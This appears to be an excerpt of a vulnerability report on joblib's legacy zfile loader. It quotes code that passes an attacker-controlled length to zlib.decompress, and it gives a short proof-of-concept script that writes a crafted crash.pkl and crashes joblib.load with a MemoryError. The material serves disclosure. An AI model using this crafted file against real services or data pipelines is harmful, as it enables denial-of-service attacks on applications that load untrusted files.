1# joblib/numpy_pickle_compat.py
2def read_zfile(file_handle):
3 ...
4 length = int(length, 16) # ← ATTACKER-CONTROLLED
5 data = zlib.decompress(file_handle.read(), 15, length) # ← CRASH HERE
6 assert len(data) == length, (...) # ← never reached
1import zlib, sys
2from joblib.numpy_pickle_compat import _ZFILE_PREFIX, _MAX_LEN, hex_str, asbytes
3
4header = _ZFILE_PREFIX + asbytes(hex_str(sys.maxsize).ljust(_MAX_LEN))
5open("crash.pkl", "wb").write(header + zlib.compress(b""))
6
7import joblib
8joblib.load("crash.pkl")
9# MemoryError: Unable to allocate output buffer.